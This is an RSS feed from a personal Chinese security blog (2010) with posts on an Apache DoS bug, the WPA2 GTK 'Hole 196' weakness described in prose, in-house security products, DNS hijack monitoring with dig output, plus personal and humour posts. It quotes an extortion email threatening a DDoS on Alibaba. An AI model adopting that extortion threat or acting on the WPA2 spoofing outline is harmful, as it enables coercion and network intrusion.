<?xml version="1.0" encoding="utf-8" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="http://icylife.net/yunshu/rss.php" rel="self" type="application/rss+xml" />
		<title>心路</title>
		<link>http://www.icylife.net/yunshu</link>
		<description>心路</description>
		<language>zh-cn</language>
		<item>
			<title><![CDATA[apache mod_proxy_http的那个DoS漏洞]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=775</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=775</guid>
			<description>
				<![CDATA[
<p>快下班的时候看了下mod_proxy_http的代码，这种漏洞完全不给力啊，以后不看了&hellip;&hellip;</p>
				]]>
			</description>
			<pubDate>Wed, 28 Jul 2010 17:50:49 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[期待WPA2的协议漏洞]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=774</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=774</guid>
			<description>
				<![CDATA[
<p>WPA2 uses two types of keys: 1) Pairwise Transient Key (PTK), which is unique to each client, for protecting unicast traffic; and 2) Group Temporal Key (GTK) to protect broadcast data sent to multiple clients in a network. PTKs can detect address spoofing and data forgery. &quot;GTKs do not have this property,&quot; according to page 196 of the IEEE 802.11 standard.<br />
<br />
These six words comprise the loophole, Ahmad says.<br />
<br />
Because a client has the GTK protocol for receiving broadcast traffic, the user of that client device could exploit GTK to create its own broadcast packet. From there, clients will respond to the sending MAC address with their own private key information.<br />
<br />
Ahmad says it took about 10 lines of code in open source MadWiFi driver software, freely available on the Internet, and an off-the-shelf client card for him to spoof the MAC address of the AP, pretending to be the gateway for sending out traffic. Clients who receive the message see the client as the gateway and &quot;respond with PTKs&quot;, which are private and which the insider can decrypt, Ahmad explains. </p>
<p><a href="http://www.networkworld.com/newsletters/wireless/2010/072610wireless1.html" target="_blank">http://www.networkworld.com/newsletters/wireless/2010/072610wireless1.html</a></p>
				]]>
			</description>
			<pubDate>Sat, 24 Jul 2010 23:11:20 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[科学研究表明：世界上先有鸡后有鸡蛋]]></title>
			<category>八卦</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=773</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=773</guid>
			<description>
				<![CDATA[
<p>Washington, July 14 (ANI): British researchers may have uncovered a partial answer to the age-old question, &ldquo;what came first the chicken or the egg?&rdquo;<br />
<br />
According to a team, comprising researchers from the University of Warwick and the University of Sheffield, the answer is &ldquo;chicken&rdquo; or at least a particular chicken protein. </p>
<p><a href="http://www.thaindian.com/newsportal/health/the-chicken-may-have-come-before-the-egg-sort-of_100395550.html" target="_blank">http://www.thaindian.com/newsportal/health/the-chicken-may-have-come-before-the-egg-sort-of_100395550.html</a></p>
				]]>
			</description>
			<pubDate>Wed, 14 Jul 2010 17:52:40 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[甲方的安全产品]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=772</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=772</guid>
			<description>
				<![CDATA[
<p>现在我已经不太喜欢写博客了，尤其是和安全相关的东西。但是经常的也会有些东西憋着不舒服，今天稍微来几句，说一下一下甲方的安全产品，主要是定制化。</p>
<p>国内比较大的互联网公司，多多少少都会有一些自己的安全产品。之所以自己开发而不是直接采购，我想有很大的原因在于定制化。基于对公司业务的了解，对公司流程的熟悉，自己开发最终能够做出不是很通用但是却最适合自己公司的产品。同时，可以和运营方频繁的沟通，最终再易用性方面也得到较大的提升，这些都是坐在屋子里很难设计出来的。</p>
<p>不过另外一方面，我觉得定制化也是要有一个粒度的，过尤不及。最近在产品的设计、推广方面，就遇到一点类似的问题。产品设计的当初，是否好运营，易用性如何肯定是要考虑的。但是根据一个具体的&ldquo;个人&rdquo;的运营方式去决定产品的走向，我觉得是不可取的。因为产品做出来，不是给一个人去运营使用，而是给一个群体来运营，随时是可能够换人的，不可能根据某一个人的工作习惯来决定。站在运营者这个&ldquo;群体&rdquo;的角度，来考虑设计是最恰当的。</p>
<p>电脑可以定制，可以要求什么牌子的主板，多大的内存，什么牌子的网卡，但是你不能要求说要指定地点的硅矿石提炼出来的硅做的CPU。如果要照顾到每一个人的习惯，那么只能在功能、基础的易用性得到满足后，去提供一些API让特定的人可以根据自己的工作习惯来开发定制。</p>
<p>安全产品这一块，我想刺也许也有很多体会吧，我懒得再写下去了，也许可以建议他写一篇长的。我到想看看下次我再想扯点什么的时候，是不是可以说一下流程方面的事情。</p>
<p><span style="font-size: 11pt; font-family: &quot;微软雅黑&quot;,&quot;sans-serif&quot;; color: rgb(31, 73, 125);"><span lang="EN-US"><o:p></o:p></span></span></p>
				]]>
			</description>
			<pubDate>Fri, 25 Jun 2010 16:37:44 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[前些时候的一个邮件]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=771</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=771</guid>
			<description>
				<![CDATA[
<p>From: angel_pharmaceuticals@safe-mail.net<br />
Date: Sun May 30 02:49:59 PDT 2010<br />
Subject: RE: RE: RE: Re: Please modify the Product Details for Stanozolol100Tabswithin10mg by Angel Pharma<br />
===8&lt;==============Original message text===============<br />
<br />
Its not Important what is prohibited!!!&nbsp;&nbsp; I has make an DDOS Attack only 10 minutes, you give me an Gold Supplier Member Account for FREE!!!&nbsp;&nbsp; Or i make your website www.alibaba.com for 10 days down with an strong DDOS Attack!!! Now you understand?&nbsp;&nbsp; I want an Gold account for FREE and i sell so many Steroids i want, when you dont give me and let me sell Steroids i make your Site down and you lose very much money!!!</p>
				]]>
			</description>
			<pubDate>Mon, 21 Jun 2010 13:58:37 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[世界杯]]></title>
			<category>八卦</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=770</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=770</guid>
			<description>
				<![CDATA[
<p>现在有时间有条件看比赛，却没心看了。发几个图片，娱乐一下。</p><p><img width="540" height="3266" src="/userfiles/image/English.jpg" alt="" /></p>
				]]>
			</description>
			<pubDate>Fri, 11 Jun 2010 11:44:53 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[有意思的面试]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=769</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=769</guid>
			<description>
				<![CDATA[
<p>周五做了一个面试，其实最近几年来包括校园招聘在内我面试过的人总有几百个了，但是这次是最有意思的，以至于我想写下来。</p>
<p>这位仁兄有12年的IT经验，8年的网络安全经验，资历还是比较深的，所以我电话沟通之前问了一下他比较擅长的方向，再去聊具体的问题。顺便说一下，这次面试的职位是OA网络安全方面的。得知他在IDC和OA安全架构方面都很有研究的时候，我就问了一个OA的问题，并不是很简单，也许我09年上半年还不能有很好的回答。他说了最简单的第一点之后就有些支吾了，没有下文，于是反问我公司在哪里上班。我说了在杭州之后他就说他不会离开现在的地方，对杭州没兴趣，就马上把电话挂断了。</p>
<p>这个还没什么，有意思的是我把面试情况反馈给HR后，HR联系猎头说明这个情况。随后，猎头与他沟通之后给过来的反馈说他认为问题太简单了，不屑于回答。</p>
<p>悲剧。</p>
				]]>
			</description>
			<pubDate>Mon, 31 May 2010 10:23:08 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[大师的日记]]></title>
			<category>读书</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=768</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=768</guid>
			<description>
				<![CDATA[
<p><span style="color: rgb(255, 0, 0);"><strong>胡适的日记</strong></span><span style="color: rgb(255, 0, 0);"><strong>：</strong></span></p>
<p><br />
7月4日<br />
新开这本日记，也为了督促自己下个学期多下些苦功。先要读完手边的莎士比亚的《亨利八世》&hellip;&hellip;<br />
<br />
7月13日<br />
打牌。<br />
<br />
7月14日<br />
打牌。<br />
<br />
7月15日<br />
打牌。<br />
<br />
7月16日<br />
胡适之啊胡适之！你怎么能如此堕落！先前订下的学习计划你都忘了吗？<br />
子曰：&ldquo;吾日三省吾身。&rdquo;&hellip;不能再这样下去了！<br />
<br />
7月17日<br />
打牌。<br />
<br />
7月18日<br />
打牌。</p>
<p>&nbsp;</p>
<p><span style="color: rgb(255, 0, 0);"><strong>季羡林的日记：</strong></span></p>
<p>二日<br />
今天才更深切地感到考试的无聊。一些放屁胡诌的讲义硬要我们记!<br />
大千走了，颇有落寞之感。<br />
<br />
十三日<br />
昨夜一夜大风，今天仍然没停，而且其势更猛。<br />
北平真是个好地方，唯独这每年春天的大风实在令人讨厌。<br />
没做什么有意义的事&mdash;&mdash;妈的，这些混蛋教授，不但不知道自己泄气，<br />
还整天考，不是你考，就是我考，考他娘的什么东西?<br />
<br />
二日<br />
今天作Faust的Summary<br />
无论多好的书，even Fausteven Faust。<br />
只要拿来当课本读，立刻令我感觉到讨厌，这因为什么呢?我不明了。<br />
过午看女子篮球赛，不是去看想［打］篮球，我想，只是去看大腿。<br />
因为说到篮球，实在打得不好。<br />
<br />
三日<br />
今天整天都在预备Philology，真无聊。我今年过的是什么生活?不是test，<br />
就是reading report，这种生活，我真有点受不了。<br />
<br />
四日<br />
今天早晨考Philology，不算好。<br />
过午作Faust的Summary，也不甚有聊。<br />
这几天来，一方面因为功课太多，实在还是因为自己太懒，Helderlin的诗一直没读，这使我难过，为什么自己不能督促自己呢?不能因了环境的不顺利，<br />
就放弃了自己愿意读的书(写文章，也算在内)。<br />
<br />
五日<br />
今天又犯了老毛病，眼对着书，但是却看不进去，原因我自己明白：因为近几天来又觉到没有功课压脑袋了。我看哪一天能把这毛病改掉了呢?我祈祷上帝。<br />
零零碎碎地看了点H?lderlin，读来也不起劲，过午终于又到体育馆去看赛球。<br />
<br />
五日<br />
开始作论文，真是&ldquo;论&rdquo;无可&ldquo;论&rdquo;。<br />
晚上又作了一晚上，作了一半。 听别人说，毕业论文最少要作二十页。<br />
说实话，我真写不了二十页，但又不能不勉为其难，只好硬着头皮干了。<br />
<br />
二十五日<br />
&hellip;&hellip;今天开始抄毕业论文，作到［倒］不怎样讨厌，抄比作还厌。&hellip;&hellip;<br />
<br />
二十六日<br />
今天抄了一天毕业论文，手痛。&hellip;&hellip;</p>
				]]>
			</description>
			<pubDate>Fri, 07 May 2010 10:54:17 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[甲方乙方]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=767</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=767</guid>
			<description>
				<![CDATA[
<p>我前些时候想写一篇关于安全在甲方乙方的文章，因为我有过这样两种经历，有很多亲身的体会。最近一直在考虑该怎么写才能说清楚我的想法，不过最终思考的结果是不写这个东西。</p>
<p>恰好5.1在家看到wzt写了一篇这样的文章，讨论的人很多。我有点心痒，就稍微说几句。简单的说，我的想法是安全研究不仅仅是研究溢出，研究内核，研究xss，研究各种新的攻击方式。研究如何让一个有1万台服务器部署了各种应用的网络安全，研究如何在拥有3万名员工的办公区域不泄漏敏感信息，这个也是技术研究，并没有完全束缚到业务里面。何况即使在乙方，也不会有天马行空的屠龙之术。</p>
<p>以《神鞭》的一句话结尾，辫子剪了，神留着，一变又是绝活。</p>
				]]>
			</description>
			<pubDate>Tue, 04 May 2010 10:30:16 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[一个新的基于堆和栈的编程语言——《grass-mud-horse》]]></title>
			<category>八卦</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=766</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=766</guid>
			<description>
				<![CDATA[
<h2><a name="序言">序言</a></h2>
<p><a name="序言"><strong>前略，天国的河蟹们，草泥马现在是超越阿姆 骡的存在</strong> </a></p>
<h1><a name="发展中的草泥马语">发展中的草泥马语</a></h1>
<ul>
    <li><a name="发展中的草泥马语">在我们随机调查的100个网友中，有<font color="red">87.35%</font>的网友认为草泥 马语非常好！ </a></li>
    <li><a name="发展中的草泥马语">草泥马语第一个社区请求（Grass Community  Request）：</a><a href="http://code.google.com/p/grass-mud-horse/wiki/GCR001_W3C_DOM_Support_Draft">GCR001_W3C_DOM_Support_Draft</a>  于即日起开始草稿范本的起草工作，欢迎广大戈壁公民对该范本提出宝贵意见。</li>
    <li>我们很高兴的接受了<a rel="nofollow" href="http://code.google.com/p/chtml/">《中国人如何做爱》</a>项目组提交 的草泥马语的第一个issue: <a href="http://code.google.com/p/grass-mud-horse/issues/detail?id=1" title="请求支援 CHTML 语言">issue  1</a>  关于草泥马语的CHTML支持问题。对此，草泥马语项目组作出了积极响应并得到了戈壁中央的大力支持，我们一定能够与CHTML项目组一起，为了建设现代 化的马勒戈壁而奋斗。</li>
    <li>热烈欢迎草泥马语的兄弟语言<a rel="nofollow" href="http://code.google.com/p/grass-mud-horse/issues/detail?id=1#c8">八卦语</a>，虽然我们目前没有找到这个语言的官方网站，但是根据民法宪法刑法等有关法律，我们相信有官部门一定会解决 这个困难，为了我朝网络的二胖化的进程奋斗！</li>
    <li>经过戈壁政府的不懈努力，值此2010年新春佳节之际，戈壁政府推出<a rel="nofollow" href="http://code.google.com/p/grass-mud-horse/wiki/GMHVMhesuiban">草泥马虚拟机贺岁版</a>，草泥马语发展进程迈向新的台阶！</li>
    <li>再次非常高兴的接到<a rel="nofollow" href="http://code.google.com/u/dexter.yy/">dexter.yy</a>童 鞋提交的本项目的<a rel="nofollow" href="http://code.google.com/p/grass-mud-horse/issues/detail?id=2">第二个issue</a>，这为草泥马走向网络提供了技术支持，首先感谢dexter.yy同学对项目的支持和厚爱，再次 感谢所有关心本项目的所有网友。</li>
</ul>
<p>主页参见：<a href="http://code.google.com/p/grass-mud-horse/" target="_blank">http://code.google.com/p/grass-mud-horse/</a></p>
				]]>
			</description>
			<pubDate>Sat, 17 Apr 2010 19:04:35 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[淘宝首批数据，揭秘中国性福生活]]></title>
			<category>八卦</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=765</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=765</guid>
			<description>
				<![CDATA[
<p>淘宝数据魔方发布，作为中国最大的C2C平台，自然能够反映一定的社会问题。先看一个男人比较关心的，<strong>《中国安全套网购排行榜》。</strong>报 告显示：北京、上海、广东、江苏、浙江成为网购安全套的 主要人群。其中，网购人群中有1/3是女性，剩下的2/3是男性。详细数据参见 <a href="http://www.cnbeta.com/articles/108057.htm" target="_blank">http://www.cnbeta.com/articles/108057.htm</a>。</p>
<p>这种不涉及到具体用户具体交易的数据，在宏观上反映出来的趋势或者分布作用依旧是巨大的。从事业来说，你能够知道杭州哪个地区的人最喜欢买鲜花，上海哪个地区的人最喜欢买MP3，也许你可以开一个实体店。从猥琐的说，你能够知道哪里的人平均胸围最大，哪里的人的喜欢买充气娃娃。</p>
<p>这就是数据的力量，恰好最近我也在积累数据，希望能够说明一些问题。</p>
				]]>
			</description>
			<pubDate>Wed, 07 Apr 2010 19:47:06 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[free-av]]></title>
			<category>八卦</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=764</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=764</guid>
			<description>
				<![CDATA[
<p>好久没写博客了，直接SEO一下。</p>
<p>有疑问请点击<a href="http://www.free-av.com/" target="_blank">http://www.free-av.com/</a></p>
				]]>
			</description>
			<pubDate>Tue, 06 Apr 2010 13:53:37 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[周五吃肉喝酒]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=762</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=762</guid>
			<description>
				<![CDATA[
<p>周五和hawk、木瓜、suddy几个人去吃肉喝酒了，虽然大家好久没有出手了，但是彪悍依旧。不过好在大家都很老实，喝完酒全部乖乖回家睡觉了&mdash;&mdash;至少我是的。洗澡完12点了，第二天7点半起床去驾校学车，头那叫一个疼啊。不过表现还好，过一个圆饼和吃一串烤肉差不多，绝对秒杀。<a href="/userfiles/image/IMG_2750.JPG"><img width="640" height="480" border="0" src="/userfiles/image/IMG_2750.JPG" alt="" /></a></p>
				]]>
			</description>
			<pubDate>Mon, 15 Mar 2010 14:34:18 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[崔莺莺]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=761</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=761</guid>
			<description>
				<![CDATA[
<p><img width="550" height="413" src="/userfiles/image/large_zhang.png" alt="" /></p>
				]]>
			</description>
			<pubDate>Mon, 15 Mar 2010 11:02:57 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[犯了个错误]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=760</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=760</guid>
			<description>
				<![CDATA[
<p>这两天在准备一份数据报表，需要写几个脚本协助工作，但是追求完美的性格反而导致了一个错误。本来只是一个一次性的工作，在写脚本的时候却妄图去追求通用性，备以后使用，但是而且这个脚本以后基本上是用不上的，结果本来很简单的事情却做了接近3个小时。还好进行到一大半的时候翻然醒悟，快刀斩问题。</p>
				]]>
			</description>
			<pubDate>Thu, 11 Mar 2010 19:58:16 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[最好的和最坏的]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=759</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=759</guid>
			<description>
				<![CDATA[
<p>大雨，躺着看以前的小说。<br />
<br />
&nbsp;&nbsp;&nbsp; 最好吃的部分，当然要留到最后吃。<br />
&nbsp;&nbsp;&nbsp; 唐缺还特别声明：&ldquo;没有人跟我抢的地方，最好的一部分，我总是会留到最后才吃的。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;如果有人跟你抢，你就会先吃最好吃的那部分？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 唐缺道：&ldquo;就算有人跟我抢，我也不会先吃的。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;为什么？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 唐缺道：&ldquo;先把最好吃的吃掉了，再吃别的部分还有什么意思？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;难道你肯把好吃的那一部分让给别人吃？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 唐缺道：&ldquo;我当然不肯。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 他又道：&ldquo;如果你把最好的让给别人吃，你就是个呆子。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;你自己不肯先吃，又不肯让给别人吃，你怎么办？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 唐缺笑道：&ldquo;我当然有法子，天下最好的法子，你想不想知道？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;&lsquo;想。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 唐缺道：&ldquo;在那种情况下，我就会先把最好的那一部分抢过来，摆在自己面前的小碗里，再去跟人抢其余的部分，抢光之后，我再吃自己碗里的。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;好法子。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 唐缺道：&ldquo;如果你也要学我这种吃法，有件事你千万不能忘记。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;什么事？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 庸缺道：&ldquo;你一面在吃的时候，一面还要去教训别人。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;我已经把最好吃的都抢来吃了，为什么还要去教训别人？<br />
&nbsp;&nbsp;&nbsp; 唐缺道：&ldquo;因为像你这种吃法，别人一定看不顺眼，所以你就要先发制人，去教训他。&rdquo;<br />
&nbsp;&nbsp;&nbsp; 无忌道：&ldquo;我应该怎么教训？&rdquo;<br />
&nbsp;&nbsp;&nbsp; 唐缺道：&ldquo;你要板起脸来告诉他，做人一定要留后福，所以好吃的东西一定要留到最后吃，你的态度一定要很严肃，很诚恳，吃得一定要很快，别人还没有想通这道理的时候，你一定要把自己面前碗里的东西吃光，然后赶快溜之大吉。&rdquo;<br />
<br />
看到这段，想起以前和我家ICY 吃葡萄时也讨论过这个问题。我一般来说先吃坏的，逐渐吃好的，我家ICY则一般从好的开始吃起。是从好向坏发展，还是从坏向好发展？这其实这是一个复杂的问题。ICY告诉我，先吃好的则每一颗吃的都是最好的，而从坏的吃起，吃的每一颗都是最坏的。当然这里还有个趋势问题，当前选择的最好的一颗是不是比下一次选择的最好的那颗好？下一次选择的那颗最坏的是不是比这次选择的这颗最坏的坏？<br />
<br />
ICY不在杭州好久了，其实想想也没分开几天&hellip;&hellip;</p>
				]]>
			</description>
			<pubDate>Sun, 07 Mar 2010 01:16:22 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[DNS监控]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=758</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=758</guid>
			<description>
				<![CDATA[
<p>以前对DNS的解析过程还有些误解，最近做事情的时候仔细搞了一搞。简单的说，监控全局DNS劫持，还是直接监控根域服务器和授权域服务器能够最快得到结果。</p>
<p>dig baidu.com +trace<br />
<br />
; &lt;&lt;&gt;&gt; DiG 9.5.1-P2.1 &lt;&lt;&gt;&gt; baidu.com +trace<br />
;; global options:&nbsp; printcmd<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; G.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; H.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; K.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; L.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; E.ROOT-SERVERS.NET.<br />
.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 349711&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F.ROOT-SERVERS.NET.<br />
;; Received 436 bytes from 208.87.241.170#53(208.87.241.170) in 0 ms<br />
<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; H.GTLD-SERVERS.NET.<br />
